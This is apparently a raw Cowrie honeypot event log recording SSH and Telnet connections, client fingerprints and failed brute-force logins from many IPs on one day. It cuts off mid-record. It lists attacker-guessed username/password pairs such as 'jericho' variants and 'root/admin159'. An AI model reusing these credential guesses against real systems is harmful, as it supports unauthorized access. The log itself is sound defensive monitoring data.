{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:49.233587Z","src_ip":"122.168.114.167","session":"19c34559e762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.8","message":"Connection lost after 31.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:41:55.210777Z","src_ip":"122.168.114.167","session":"19c34559e762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35536,"dst_ip":"159.203.135.109","dst_port":22,"session":"28793769b9c1","protocol":"ssh","message":"New connection: 122.168.114.167:35536 (159.203.135.109:22) [session: 28793769b9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:01.373491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:07.820107Z","src_ip":"122.168.114.167","session":"28793769b9c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:07.860112Z","src_ip":"122.168.114.167","session":"28793769b9c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":49485,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d472b35e654","protocol":"ssh","message":"New connection: 103.149.252.223:49485 (10.17.0.5:22) [session: 5d472b35e654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:29.873079Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:29.877759Z","src_ip":"103.149.252.223","session":"5d472b35e654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:29.881199Z","src_ip":"103.149.252.223","session":"5d472b35e654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":60654,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cf38e173987","protocol":"ssh","message":"New connection: 103.13.206.208:60654 (159.203.135.109:22) [session: 0cf38e173987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:34.036508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:34.041298Z","src_ip":"103.13.206.208","session":"0cf38e173987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:34.292190Z","src_ip":"103.13.206.208","session":"0cf38e173987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:34.506300Z","src_ip":"122.168.114.167","session":"28793769b9c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MKMKMKMK","message":"login attempt [root/MKMKMKMK] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:35.325663Z","src_ip":"103.13.206.208","session":"0cf38e173987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:36.589133Z","src_ip":"103.13.206.208","session":"0cf38e173987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37944,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ba0bf45ccfc","protocol":"ssh","message":"New connection: 122.168.114.167:37944 (159.203.135.109:22) [session: 7ba0bf45ccfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:39.846245Z"}
{"eventid":"cowrie.session.closed","duration":"40.9","message":"Connection lost after 40.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:42.261208Z","src_ip":"122.168.114.167","session":"28793769b9c1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:47.702679Z","src_ip":"122.168.114.167","session":"7ba0bf45ccfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:47.706893Z","src_ip":"122.168.114.167","session":"7ba0bf45ccfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.60.136.40","src_port":49330,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fa2cd806e17","protocol":"ssh","message":"New connection: 123.60.136.40:49330 (10.17.0.5:22) [session: 5fa2cd806e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:53.349014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:53.353780Z","src_ip":"123.60.136.40","session":"5fa2cd806e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:53.588131Z","src_ip":"123.60.136.40","session":"5fa2cd806e17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin159","message":"login attempt [root/admin159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:54.552652Z","src_ip":"123.60.136.40","session":"5fa2cd806e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:42:55.790032Z","src_ip":"123.60.136.40","session":"5fa2cd806e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58344,"dst_ip":"159.203.135.109","dst_port":23,"session":"d97a72affbc4","protocol":"telnet","message":"New connection: 185.26.126.47:58344 (159.203.135.109:23) [session: d97a72affbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:08.186306Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.173","src_port":40226,"dst_ip":"159.203.135.109","dst_port":22,"session":"1df63fae568e","protocol":"ssh","message":"New connection: 176.65.139.173:40226 (159.203.135.109:22) [session: 1df63fae568e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:09.766137Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:11.331863Z","src_ip":"176.65.139.173","session":"1df63fae568e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.173","src_port":40560,"dst_ip":"159.203.135.109","dst_port":22,"session":"d27cab9d5d0c","protocol":"ssh","message":"New connection: 176.65.139.173:40560 (159.203.135.109:22) [session: d27cab9d5d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:11.409775Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":42616,"dst_ip":"10.17.0.5","dst_port":22,"session":"92b165e11b72","protocol":"ssh","message":"New connection: 106.75.222.164:42616 (10.17.0.5:22) [session: 92b165e11b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:11.416136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:11.421047Z","src_ip":"106.75.222.164","session":"92b165e11b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:11.660960Z","src_ip":"106.75.222.164","session":"92b165e11b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":10108,"dst_ip":"159.203.135.109","dst_port":22,"session":"065321156d0e","protocol":"ssh","message":"New connection: 213.209.159.159:10108 (159.203.135.109:22) [session: 065321156d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:12.556495Z"}
{"eventid":"cowrie.login.failed","username":"server","password":"12345678","message":"login attempt [server/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:12.664299Z","src_ip":"106.75.222.164","session":"92b165e11b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:12.840901Z","src_ip":"176.65.139.173","session":"d27cab9d5d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.173","src_port":41050,"dst_ip":"159.203.135.109","dst_port":22,"session":"50a2b6a2eae6","protocol":"ssh","message":"New connection: 176.65.139.173:41050 (159.203.135.109:22) [session: 50a2b6a2eae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:12.919211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:12.924182Z","src_ip":"213.209.159.159","session":"065321156d0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:13.000297Z","src_ip":"213.209.159.159","session":"065321156d0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jericho","password":"jericho","message":"login attempt [jericho/jericho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:13.398119Z","src_ip":"213.209.159.159","session":"065321156d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:13.910077Z","src_ip":"106.75.222.164","session":"92b165e11b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:14.352218Z","src_ip":"176.65.139.173","session":"50a2b6a2eae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.173","src_port":41326,"dst_ip":"159.203.135.109","dst_port":22,"session":"41356f62f022","protocol":"ssh","message":"New connection: 176.65.139.173:41326 (159.203.135.109:22) [session: 41356f62f022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:14.430307Z"}
{"eventid":"cowrie.login.failed","username":"jericho","password":"jericho1","message":"login attempt [jericho/jericho1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:14.482587Z","src_ip":"213.209.159.159","session":"065321156d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00173473358154,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:15.060073Z","src_ip":"188.132.150.42","session":"7a68df02940e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.150.42","src_port":1304,"dst_ip":"159.203.135.109","dst_port":23,"session":"36027f41e97b","protocol":"telnet","message":"New connection: 188.132.150.42:1304 (159.203.135.109:23) [session: 36027f41e97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:15.550589Z"}
{"eventid":"cowrie.login.failed","username":"jericho","password":"jericho123","message":"login attempt [jericho/jericho123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:15.567553Z","src_ip":"213.209.159.159","session":"065321156d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:15.854329Z","src_ip":"176.65.139.173","session":"41356f62f022","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.173","src_port":41720,"dst_ip":"159.203.135.109","dst_port":22,"session":"16c2d9a6c68b","protocol":"ssh","message":"New connection: 176.65.139.173:41720 (159.203.135.109:22) [session: 16c2d9a6c68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:15.932720Z"}
{"eventid":"cowrie.login.failed","username":"jericho","password":"jericho1234","message":"login attempt [jericho/jericho1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:16.651957Z","src_ip":"213.209.159.159","session":"065321156d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:17.374332Z","src_ip":"176.65.139.173","session":"16c2d9a6c68b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.173","src_port":42164,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8a1e5c25b27","protocol":"ssh","message":"New connection: 176.65.139.173:42164 (159.203.135.109:22) [session: e8a1e5c25b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:17.453061Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":51426,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3d1660b0cc2","protocol":"ssh","message":"New connection: 210.114.22.126:51426 (10.17.0.5:22) [session: a3d1660b0cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:17.469304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:17.566094Z","src_ip":"210.114.22.126","session":"a3d1660b0cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jericho","password":"jericho12345","message":"login attempt [jericho/jericho12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:43:17.735615Z","src_ip":"213.209.159.159","session":"065321156d0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512"